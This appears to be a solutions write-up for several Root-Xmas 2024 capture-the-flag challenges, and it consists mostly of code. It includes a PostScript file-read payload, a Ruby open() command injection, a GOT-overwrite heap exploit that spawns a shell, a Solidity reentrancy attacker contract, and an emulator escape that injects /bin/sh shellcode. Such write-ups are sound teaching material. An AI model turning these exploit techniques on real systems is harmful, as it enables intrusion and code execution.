2024 Root-Xmas Challenge 3/3

%!PS
% Set font and position
/newfont /Helvetica findfont 12 scalefont setfont
100 700 moveto
% For each filename like /tmp/flag*
(/tmp/flag*) {
    % Open the file
    (r) file
    % Read a string from it
    1000 string readstring
    % Write that string in the page
    pop show
} 1000 string filenameforall
showpage

get '/api/message' do
  number = params[:number]

  file_name = "#{number}.txt"

  content = open(file_name, "rb") { |f| f.read }
  content_type 'application/octet-stream'
  attachment file_name
  body content
end

import requests
URL = 'https://day18.challenges.xmas.root-me.org'
command = 'cat /flag*'
print(requests.get(f"{URL}/api/message?number=| {command}", verify=False).text)
# RM{Why_d0esn't_Open_Ju5t_Op3n_in_rUbY??}

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Util.number import bytes_to_long

sk = RSA.generate(2048)
pk = sk.public_key()
s = pow(sk.p + sk.q, 25_12, sk.n)
a = pow(sk.p + 2024,  sk.q, sk.n)
enc = bytes_to_long(PKCS1_OAEP.new(pk).encrypt(open("flag.txt", "rb").read()))
print(f"{n = }")
print(f"{s = }")
print(f"{a = }")
print(f"{enc = }")

(a - 2024) ^ 2512 - s (mod n)
= (p + k * q) ^ 2512 - p ^ 2512 - q ^ 2512 (mod n)
= p ^ 2512 + (k * q) ^ 2512 - p ^ 2512 - q ^ 2512 (mod n)
= q ^ 2512 * (k ^ 2512 - 1) (mod n)
= q * [q ^ 2511 * (k ^ 2512 - 1)] (mod n)

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Util.number import bytes_to_long, long_to_bytes
import math

n = ...
s = ...
a = ...
enc = ...

# Find q using the previous instructions
q = math.gcd(pow(a - 2024, 2512, n) - s, n)
assert q > 1 and n % q == 0
# Derive RSA parameters and decrypt the flag
p = n // q
e = 65537
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = PKCS1_OAEP.new(RSA.construct((n, e, d, q, p))).decrypt(long_to_bytes(enc))
print(m.decode())

// Original value of gift_db
#define DB_SIZE 6
char gift_db[DB_SIZE][0x20] = {
    "Gravis' Pwn Chall",
    "PS12",
    "ARM64 MultiThreading Flag",
    "Kiss from Nish",
    "RTX 5090",
    "1 Win on Valo (for Mika)"
};

// This function is called before show_gift() and change_gift()
void auth() {
    char login[0x10] = {0};
    char pass[0x10] = {0};
    printf("Lemme see those credentials");
    printf("Login : ");
    fgets(login, sizeof(login), stdin);
    printf("Password : ");
    fgets(pass, sizeof(pass), stdin);
    if (strcmp(login, "Santa")==0 && *(int*)pass==santas_pin) {
        printf("Welcome Santa ! :)");
        is_santa=1;
    } else {
        puts(login);
        puts(login_error);
    }  
}

void change_gift() {
    if (!is_santa) {
        printf("You are not Santa, you can't change a gift !!!");
        // Missing return here
    }
    int n_gift;
    printf("Tell me, which gift entry do you want to modify ? ");
    scanf("%d", &n_gift);
    getchar();

    printf("Go for it !");
    // No bounds check!
    fgets(gift_db[n_gift], sizeof(gift_db[0]), stdin);
}

def change_gift(username=b'Santa\x00', password=b'xxxx', gift=0, gift_value=b'xxxx'):
    r.recvuntil(b'choice : ')
    r.sendline(b'2')
    [...]

# Set santas_pin (8 bytes long) using OOB write in change_gift
change_gift(gift=9, gift_value=b'AAAA\x00\x00\x00\x00')

def show_gift(username=b'Santa\x00', password=b'xxxx', choice=b'C', gift=0, stop_after_login=False):
    r.recvuntil(b'choice : ')
    r.sendline(b'1')
    [...]

show_gift(password=b'AAAA', gift=777)

void show_gift() {
    char choice[0xc] = {0};
    int n_gift;
    [...]
    printf("Oh you're curious which gifts we're considering for Xmas ?");
    printf("Do you want to keep some xmas magic and see a random gift, or choose which one to see ?\nAnswer R for random or C to choose : ");
    fgets(choice, sizeof(choice), stdin);
    if (choice[0]=='R') {
        printf("Random one, nice choice !");
        n_gift = rand()%DB_SIZE;
    }
    else if (choice[0]=='C') {
        printf("Gift number : ");
        scanf("%d", &n_gift);
        getchar();
        if (n_gift<0 || n_gift>=DB_SIZE) {
            printf("This gift doesn't even exist, go to naughty list");
            return;
        } 
    }

    printf("Here's the %u%s gift : %s\n", n_gift, n_gift==1? "st": n_gift==2? "nd": n_gift==3? "rd": "th", gift_db[n_gift]);
}

#!/usr/bin/env python3

from pwn import *

exe = ELF("main_patched")
libc = ELF("./libs/libc.so.6")
ld = ELF("./libs/ld-linux-x86-64.so.2")

context.binary = exe

def conn():
    if not args.REMOTE:
        r = process([exe.path])
        if args.DBG:
            gdb.attach(r)
    else:
        r = remote("challenges.xmas.root-me.org", 10020)
    return r

def show_gift(username=b'Santa\x00', password=b'xxxx', choice=b'C', gift=0, stop_after_login=False):
    r.recvuntil(b'choice : ')
    r.sendline(b'1')
    r.recvuntil(b'Login : ')
    r.sendline(username)
    r.recvuntil(b'Password : ')
    r.sendline(password)
    if stop_after_login:
        return
    r.recvuntil(b'choose : ')
    r.sendline(choice)
    if choice == b'C':
        r.recvuntil(b'Gift number : ')
        r.sendline(str(gift).encode())

def change_gift(username=b'Santa\x00', password=b'xxxx', gift=0, gift_value=b'xxxx'):
    r.recvuntil(b'choice : ')
    r.sendline(b'2')
    r.recvuntil(b'Login : ')
    r.sendline(username)
    r.recvuntil(b'Password : ')
    r.sendline(password)
    r.recvuntil(b'modify ? ')
    r.sendline(str(gift).encode())
    r.recvuntil(b'Go for it !')
    r.sendline(gift_value)

r = conn()

# Set santas_pin (8 bytes long) using OOB write in change_gift
change_gift(gift=9, gift_value=b'AAAA\x00\x00\x00\x00')

# Login as santa so that is_santa is set forever
show_gift(password=b'AAAA', gift=777)

# By setting the password in a precise way in auth(), we can initialize n_gift of show_gift to an arbitrary value
# By using a choice != 'C' and != 'R', the n_gift value does not change and uses the previous value
# Use this to leak a GOT entry
n_gift = -3
show_gift(password=b'\x00' * 8 + p32(n_gift, sign='signed'), choice=b'X')
r.recvuntil(b'gift : ')
leak = int.from_bytes(r.recvuntil(b'\n')[:-1], byteorder='little')
libc.address = leak - libc.symbols['atoi']
print('Leak:', hex(leak))
print('Libc:', hex(libc.address))

# Replace strcmp with system in GOT using OOB write in change_gift
gift = -4
change_gift(gift=gift, gift_value=p64(libc.symbols['system']))

# Get shell, calling strcmp("/bin/sh", "Santa")
show_gift(username=b'/bin/sh\x00', stop_after_login=True)

r.interactive()

// SPDX-License-Identifier: MIT
/// Title: Kekalor
/// Author: K.L.M
/// Difficulty: Medium
pragma solidity ^0.8.19;

import './KekalorNFT.sol';

contract Challenge {
    bool public Solved = false;
    address public admin;
    KekalorNFT public kekalornft;

    uint256 public constant POINTS_NEEDED_FOR_TAKEOVER = 10;
    uint256 public constant MAX_POINTS = 11;
    uint256 public pointsclaimed = 0;
    mapping(string => mapping(string => bool)) private NameSurname;
    mapping(bytes32 => uint256) private points;
    mapping(address => bool) private claimed;

    constructor(){
        kekalornft = new KekalorNFT(address(this));
        admin = msg.sender;
    }

    function claimNFT(bytes32 identifier) public {
        require(points[identifier] >= POINTS_NEEDED_FOR_TAKEOVER, "Not enough points to claim NFT");
        require(claimed[msg.sender] == false, "You already claimed your NFT");
        kekalornft.mint(msg.sender);
        points[identifier] = 0;
        claimed[msg.sender] = true;
    }

    function getPoints(string memory name, string memory surname) public {
        require(pointsclaimed < MAX_POINTS, "All points have been claimed");
        bytes32 identifier = keccak256(abi.encodePacked(name, surname));
        require (!NameSurname[name][surname], "You already claimed your points");
        points[identifier] += 1;
        pointsclaimed += 1;
    }

    function solve() public {
        require(kekalornft.balanceOf(msg.sender)>=2, "You need at least 2 NFTs to solve this challenge");
        Solved = true;
    }

    function isSolved() public view returns(bool){
        return Solved;
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

contract KekalorNFT {
    string public name = "KekalorNFT";
    string public symbol = "KKNFT";

    address private kekalor;
    uint256 private _tokenId = 0;

    mapping(uint256 tokenId => address) private _owners;
    mapping(address owner => uint256) private _balances;
    mapping(uint256 tokenId => address) private _tokenApprovals;
    mapping(address owner => mapping(address operator => bool)) private _operatorApprovals;

    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
    event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);

    constructor(address kekalorAddress) {
        kekalor = kekalorAddress;
    }

    modifier onlyKekalor() {
        require(msg.sender == kekalor, "KekalorNFT: caller is not authorized");
        _;
    }

    function balanceOf(address owner) public view returns (uint256) {
        require(owner != address(0), "KekalorNFT: invalid owner address");
        return _balances[owner];
    }

    function ownerOf(uint256 tokenId) public view returns (address) {
        address owner = _owners[tokenId];
        require(owner != address(0), "KekalorNFT: queried owner for nonexistent token");
        return owner;
    }

    function approve(address to, uint256 tokenId) public {
        address owner = ownerOf(tokenId);
        require(msg.sender == owner, "KekalorNFT: approve caller is not the owner");
        _tokenApprovals[tokenId] = to;
        emit Approval(owner, to, tokenId);
    }

    function getApproved(uint256 tokenId) public view returns (address) {
        require(_owners[tokenId] != address(0), "KekalorNFT: queried approvals for nonexistent token");
        return _tokenApprovals[tokenId];
    }

    function setApprovalForAll(address operator, bool approved) public {
        require(operator != address(0), "KekalorNFT: invalid operator");
        _operatorApprovals[msg.sender][operator] = approved;
        emit ApprovalForAll(msg.sender, operator, approved);
    }

    function isApprovedForAll(address owner, address operator) public view returns (bool) {
        return _operatorApprovals[owner][operator];
    }

    function transferFrom(address from, address to, uint256 tokenId) public {
        require(to != address(0), "KekalorNFT: invalid transfer receiver");
        address owner = ownerOf(tokenId);
        require(from == owner, "KekalorNFT: transfer caller is not the owner");
        require(msg.sender == owner || msg.sender == getApproved(tokenId) || isApprovedForAll(owner, msg.sender), "KekalorNFT: caller is not approved to transfer");

        _balances[from] -= 1;
        _balances[to] += 1;
        _owners[tokenId] = to;

        emit Transfer(from, to, tokenId);
    }

    function mint(address to) public onlyKekalor returns (uint256) {
        uint256 currentTokenId = _tokenId;
        _mint(to, currentTokenId);
        return currentTokenId;
    }

    function burn(uint256 tokenId) public onlyKekalor {
        _burn(tokenId);
    }

    function _mint(address to, uint256 tokenId) internal {
        require(to != address(0), "KekalorNFT: invalid mint receiver");
        require(_owners[tokenId] == address(0), "KekalorNFT: token already minted");

        _balances[to] += 1;
        _owners[tokenId] = to;
        _tokenId += 1;

        //verify the receiver is a payable address
        to.call{value: 0}("");

        emit Transfer(address(0), to, tokenId);
    }

    function _burn(uint256 tokenId) internal {
        address owner = ownerOf(tokenId);
        require(msg.sender == owner, "KekalorNFT: caller is not the owner");
        _balances[owner] -= 1;
        delete _owners[tokenId];

        emit Transfer(owner, address(0), tokenId);
    }
}

// SPDX-License-Identifier: MIT
import './challenge.sol';
import './KekalorNFT.sol';

pragma solidity ^0.8.19;

contract Solver {

    Challenge public challenge;
    KekalorNFT public kekalor;

    constructor(address payable _challengeAddress) {
        challenge = Challenge(_challengeAddress);
        kekalor = challenge.kekalornft();
    }

    // This is called by `to.call{value: 0}("")` in KekalorNFT._mint
    fallback() external payable {
        // Reentrancy to claim more NFTs before the Challenge state is updated
        if (kekalor.balanceOf(address(this)) < 5) {
            claim();
        }
    }

    // Call this once to get multiple NFTs
    function attack() public {
        // Claim 10 points to allow claiming a NFT
        for (int i = 0; i < 10; i++) {
            challenge.getPoints("nikost", "nikost");
        }
        // Claim the first NFT (this will claim multiple NFTs with reentrancy)
        claim();
        // Solve the challenge now that we have multiple NFTs
        challenge.solve();
    }

    function claim() private {
        challenge.claimNFT(keccak256(abi.encodePacked("nikost", "nikost")));
    }

}

$ sudo -l
Matching Defaults entries for sshuser on the-date-is-near:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty, !requiretty

User sshuser may run the following commands on the-date-is-near:
    (ALL) NOPASSWD: /bin/date *, !/bin/date *-f*, !/bin/date *--file*
    (ALL) NOPASSWD: /usr/bin/dev.sh

case $opt in'
    l)'
        echo "Listing running processes:"'
        ps aux'
        ;;'
    d)'
        echo "Displaying available disk space:"'
        df -h'
        ;;'
    m)'
        echo "Displaying the manual for printf:"'
        man printf'
        ;;'

// main.c
int main(int argc, char *argv[]) {
    printf("Ho ho ho! Welcome to the GCI (Gift Control Interface)\n");
    printf("You can write your gift list here and I will execute it for you\n");

    printf("Code length (%d max): ", CODE_SIZE);
    size_t code_len = read_long();
    void *code = malloc(code_len);

    printf("Enter your code: ");
    fread(code, 1, code_len, stdin);

    printf("Executing your code...\n");
    return emu_launch(code, code_len);
}

// emu.c
static bool emu_init(uc_engine **uc, void *code, size_t code_len)
{
    uc_engine *_uc;
    uc_err err;
    if ((err = uc_open(UC_ARCH_X86, UC_MODE_64, &_uc)) != UC_ERR_OK) {
        *uc = NULL;
        return false;
    }
    // Map stack
    uc_mem_map(_uc, STACK_START, STACK_SIZE, UC_PROT_READ | UC_PROT_WRITE);
    uc_reg_write(_uc, UC_X86_REG_RSP, &(uint64_t) { STACK_START + STACK_SIZE });
    // Map code
    uc_mem_map(_uc, CODE_START, CODE_SIZE, UC_PROT_ALL);
    uc_mem_write(_uc, CODE_START, code, code_len);
    // Setup MMIO
    uc_mmio_map(_uc, GCI_START, PAGE_SIZE, gci_read, NULL, gci_write, NULL);
    *uc = _uc;
    return true;
}

// gci.h
#ifndef __GCI_H__
#define __GCI_H__

#include <stdlib.h>
#include <sys/types.h>

#include "unicorn/unicorn.h"

// Gift Control Interface

#define GCI_START         0xcafe0000

#define GCI_CTRL_GIFT     0x00
#define GCI_CTRL_GIFT_MAX 0x08
#define GCI_CTRL_GIFT_IDX 0x10
#define GCI_CTRL_CMD      0x18

#define GCI_CMD_INIT      0x1337
#define GCI_CMD_ADD_GIFT  0x1338
#define GCI_CMD_GET_GIFT  0x1339
#define GCI_CMD_EDIT_GIFT 0x1340
#define GCI_CMD_SUBMIT    0x1341

typedef uint32_t gift;

typedef struct gci_context
{
    size_t gift_count;
    size_t gift_max;
    size_t gift_idx;
    gift *gift_list;
    gift gift_to_get;
    gift gift_to_add;
} gci_context;

uint64_t gci_read(
    uc_engine *uc,
    uint64_t offset,
    unsigned size,
    void *user_data
);

void gci_write(
    uc_engine *uc,
    uint64_t offset,
    unsigned size,
    uint64_t value,
    void *user_data
);

void gci_print_list(void);

#endif

// gci.c
#include <gci.h>
#include <unicorn/unicorn.h>

static gci_context gci_ctx;

static void gci_handle_command(uc_engine *uc, uint64_t command)
{
    switch (command) {
    case GCI_CMD_INIT:
        if (gci_ctx.gift_list)
            free(gci_ctx.gift_list);

        gci_ctx.gift_list = malloc(gci_ctx.gift_max * sizeof(gift));
        gci_ctx.gift_count = 0;
        break;
    case GCI_CMD_ADD_GIFT:
        if (gci_ctx.gift_list && gci_ctx.gift_count < gci_ctx.gift_max) {
            gci_ctx.gift_list[gci_ctx.gift_count++] = gci_ctx.gift_to_add;
        }
        break;
    case GCI_CMD_GET_GIFT:
        if (gci_ctx.gift_list && gci_ctx.gift_idx < gci_ctx.gift_max) {
            gci_ctx.gift_to_get = gci_ctx.gift_list[gci_ctx.gift_idx];
        }
        break;
    case GCI_CMD_EDIT_GIFT:
        if (gci_ctx.gift_list && gci_ctx.gift_idx < gci_ctx.gift_max) {
            gci_ctx.gift_list[gci_ctx.gift_idx] = gci_ctx.gift_to_add;
        }
        break;
    case GCI_CMD_SUBMIT:
        if (gci_ctx.gift_list == NULL || gci_ctx.gift_count == 0) 
            break;

        printf("Your gift list has been submitted to santa !\n");

        printf("Gifts:\n");
        for (size_t i = 0; i < gci_ctx.gift_count; i++) {
            printf("#%lu: %#x\n", i, gci_ctx.gift_list[i]);
        }

        uc_emu_stop(uc);
        break;
    default:
        break;
    }
}

uint64_t gci_read(uc_engine *uc, uint64_t offset, unsigned size, void *user_data)
{
    switch (offset) {
    case GCI_CTRL_GIFT:
        return gci_ctx.gift_to_get;
    case GCI_CTRL_GIFT_MAX:
        return gci_ctx.gift_max;
    case GCI_CTRL_GIFT_IDX:
        return gci_ctx.gift_idx;
    case GCI_CTRL_CMD:
    default:
        return 0;
    }
}

void gci_write(uc_engine *uc, uint64_t offset, unsigned size, uint64_t value, void *user_data)
{
    switch (offset) {
    case GCI_CTRL_GIFT:
        gci_ctx.gift_to_add = value;
        break;
    case GCI_CTRL_GIFT_MAX:
        gci_ctx.gift_max = value;
        break;
    case GCI_CTRL_GIFT_IDX:
        gci_ctx.gift_idx = value;
        break;
    case GCI_CTRL_CMD:
        gci_handle_command(uc, value);
        break;
    default:
        break;
    }
}

// Set gift_max to 0x10
mov %rax, 0xcafe0008
movq [%rax], 0x10
// INIT command
mov %rax, 0xcafe0018
movq [%rax], 0x1337
// Set gift_to_add to 0x4141
mov %rax, 0xcafe0000
movq [%rax], 0x4141
// ADD_GIFT command
mov %rax, 0xcafe0018
movq [%rax], 0x1338
// SUBMIT command
mov %rax, 0xcafe0018
movq [%rax], 0x1341

from pwn import *
import sys

context.arch = 'amd64'
libc = ELF('./libs/libc.so.6')
libunicorn = ELF('./libs/libunicorn.so.2')

def command_init():
    return 'mov %rax, 0xcafe0018\nmovq [%rax], 0x1337\n'

def command_add():
    return 'mov %rax, 0xcafe0018\nmovq [%rax], 0x1338\n'

def command_get():
    return 'mov %rax, 0xcafe0018\nmovq [%rax], 0x1339\n'

def command_edit():
    return 'mov %rax, 0xcafe0018\nmovq [%rax], 0x1340\n'

def command_submit():
    return 'mov %rax, 0xcafe0018\nmovq [%rax], 0x1341\n'

def write_gift(value):
    return f'mov %rax, 0xcafe0000\nmovd [%rax], {hex(value)}\n'

def write_gift_from_rax():
    return f'mov %rbx, 0xcafe0000\nmovd [%rbx], %eax\n'

def write_gift_max(value):
    return f'mov %rax, 0xcafe0008\nmovq %rbx, {hex(value)}\nmovq [%rax], %rbx\n'

def write_gift_idx_from_ecx():
    return f'mov %rax, 0xcafe0010\nmovd [%rax], %ecx\n'

def write_gift_idx(value):
    return f'mov %rax, 0xcafe0010\nmovq %rbx, {hex(value)}\nmovq [%rax], %rbx\n'

def read_gift():
    return 'mov %rax, [0xcafe0000]\n'

def read_gift_max():
    return 'mov %rax, [0xcafe0008]\n'

def read_gift_idx():
    return 'mov %rax, [0xcafe0010]\n'

# These addresses are subject to ASLR in the real program
# But we can use the (approximate) offset between some of them
first_gift = 0x7f8d74dff010
libm_base = 0x7f8db9119000
libc_base = 0x7f8db9202000
libunicorn_base = 0x7f8db9414000
somewhere_in_rwx = 0x7f8d99094800

# Mmap large area (it lands somewhere before all the libs)
payload = write_gift_max(0x1000000)
payload += command_init()
# Set a larger limit to OOB read / write
payload += write_gift_max(0xf0000000)

# Read OOB until we find a ELF header
off = (libm_base + 0x100000 - first_gift) // 4
payload += f'mov %rcx, {hex(off)}\n'
# Loop begin
payload += 'loop1:\n'
payload += 'add %rcx, 1\n'
# Read 4 bytes
payload += write_gift_idx_from_ecx()
payload += command_get()
payload += read_gift()
# Stop if ELF header found
payload += 'cmp %eax, 0x464c457f\n'
payload += 'jne loop1\n'
# We are probably at the beginning of a library now
# Good enough chance that library is libc (but it might be libm or something else, in that case exploit will fail)

# SAVED GIFT 0: GIFT OFFSET TO LIBC
payload += 'mov %rax, %rcx\n'
payload += write_gift_from_rax()
payload += command_add()

# SAVED GIFT 1,2: ADDRESS OF LIBC
# Read a libc address from libc metadata
payload += f'add %rcx, {0x203678 // 4}\n'
payload += write_gift_idx_from_ecx()
payload += command_get()
payload += read_gift()
# Calculate libc address from that leak
payload += 'sub %rax, 0x204b80\n'
payload += write_gift_from_rax()
payload += command_add()
payload += f'add %rcx, 1\n'
payload += write_gift_idx_from_ecx()
payload += command_get()
payload += read_gift()
payload += write_gift_from_rax()
payload += command_add()

# SAVED GIFT 3,4: ADDRESS OF RWX ZONE
# Calculate address of somewhere in RWX using libc base
payload += write_gift_idx(2)
payload += command_get()
payload += read_gift()
payload += 'mov %rdx, %rax\n'
payload += 'shl %rdx, 32\n'
payload += write_gift_idx(1)
payload += command_get()
payload += read_gift()
payload += 'add %rdx, %rax\n'
payload += f'sub %rdx, {libc_base - somewhere_in_rwx}\n'
payload += 'mov %rax, %rdx\n'
payload += write_gift_from_rax()
payload += command_add()
payload += 'shr %rdx, 32\n'
payload += 'mov %rax, %rdx\n'
payload += write_gift_from_rax()
payload += command_add()

# SAVED GIFT 5: GIFT OFFSET TO RWX ZONE
# Calculate gift offset to rwx zone using libc offset
payload += write_gift_idx(0)
payload += command_get()
payload += read_gift()
payload += f'sub %rax, {(libc_base - somewhere_in_rwx) // 4}\n'
payload += write_gift_from_rax()
payload += command_add()

# SAVED GIFT 6: GIFT OFFSET TO LIBUNICORN
# Calculate git offset to libunicorn base using libc offset, libc base and offset between libc and libunicorn
# unicorn_offset = libc_offset + (unicorn_base - libc_base) // 4
payload += write_gift_idx(0)
payload += command_get()
payload += read_gift()
payload += f'add %rax, {(libunicorn_base - libc_base) // 4}\n'
payload += write_gift_from_rax()
payload += command_add()

# ==============================

# /bin/sh shellcode
shellcode = asm(shellcraft.sh())
shellcode = shellcode + b'\x90' * (4 - (len(shellcode) % 4))

# Get offset to RWX area
payload += write_gift_idx(5)
payload += command_get()
payload += read_gift()
payload += 'mov %rcx, %rax\n'

# Write shellcode to RWX area
for i in range(0, len(shellcode), 4):
    to_write = u32(shellcode[i:i+4])
    payload += write_gift_idx_from_ecx()
    payload += f'mov %rax, {to_write}\n'
    payload += write_gift_from_rax()
    payload += command_edit()
    payload += 'add %rcx, 1\n'

# shellcode address to write in GOT
payload += write_gift_idx(4)
payload += command_get()
payload += read_gift()
payload += 'mov %rdx, %rax\n'
payload += 'shl %rdx, 32\n'
payload += write_gift_idx(3)
payload += command_get()
payload += read_gift()
payload += 'add %rdx, %rax\n'

# uni offset
payload += write_gift_idx(6)
payload += command_get()
payload += read_gift()
payload += 'mov %rdi, %rax\n'

# Overwrite some GOT entries in libunicorn (only LSB)
# Overwriting GOT entries 50-100 seems to do the job
i = 0
for sym in libunicorn.got:
    addr = libunicorn.got[sym]
    if addr < 0x15e000:
        continue
    i += 1
    if i < 50:
        continue
    if i > 100:
        break
    # where to write (got entry)
    payload += 'mov %rcx, %rdi\n'
    payload += f'add %rcx, {addr // 4}\n'
    payload += write_gift_idx_from_ecx()
    # what to write (shellcode address 4 LSB)
    payload += f'mov %rax, %rdx\n'
    payload += write_gift_from_rax()
    payload += command_edit()

payload += command_submit()

payload = asm(payload)
sys.stdout.buffer.write(str(len(payload)).encode() + b'\n' + payload)

{
  "answers":[
    // {"id":[question_id], "answer": "[answer]"},
    {"id":20, "answer": "29b chemin de grave, 69450 SAINT-CYR AU MONT D'OR"},
    [...]
    {"id":19, "answer": "xxx"},
  ]
}

{
  "all_correct": false,
  "flag": null, // The flag is here if there is no wrong answer
  "results": [
    {
      "correct": true,
      "question": "What is the association's address?"
    },
    [...]
    {
      "correct": false,
      "question": "Obviously, the best categorie of challenges from Root-Xmas is:"
    }
  ]
}